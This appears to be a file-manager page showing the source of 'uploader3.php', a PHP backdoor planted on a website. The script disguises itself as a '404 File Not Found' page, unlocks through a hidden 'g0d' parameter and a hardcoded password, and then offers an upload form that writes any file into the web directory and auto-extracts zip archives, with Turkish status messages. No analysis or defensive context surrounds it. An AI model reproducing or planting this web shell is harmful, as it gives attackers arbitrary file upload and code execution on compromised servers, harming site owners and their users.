관리-도구
편집 파일: uploader3.php
<?php echo '404 File Not Found.'; if(isset($_GET["g0d"])) { $password = "g0d"; session_start(); error_reporting(0); set_time_limit(0); ini_set("memory_limit",-1); $sessioncode = md5(__FILE__); if(!empty($password) and $_SESSION[$sessioncode] != $password){ # _REQUEST mean _POST or _GET if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) { $_SESSION[$sessioncode] = $password; } else { print "<pre align=center><font> .__ ________ | | _____ ___ _\_____ \___.__. | | \__ \\ \/ / _(__ < | | | |__/ __ \\ / / \___ | |____(____ /\_/ /______ / ____| \/ \/\/ </font><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; exit; } } echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { $file = $_FILES['file']['name']; if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { $zip = new ZipArchive; if ($zip->open($file) === TRUE) { $zip->extractTo('./'); $zip->close(); echo 'Zip Yukleme ve Cikarma Basarili !'; } else { echo 'Yukleme Basarili !'; } }else{ echo '<b>Yukleme Basarisiz :(</b><br><br>'; } } } ?>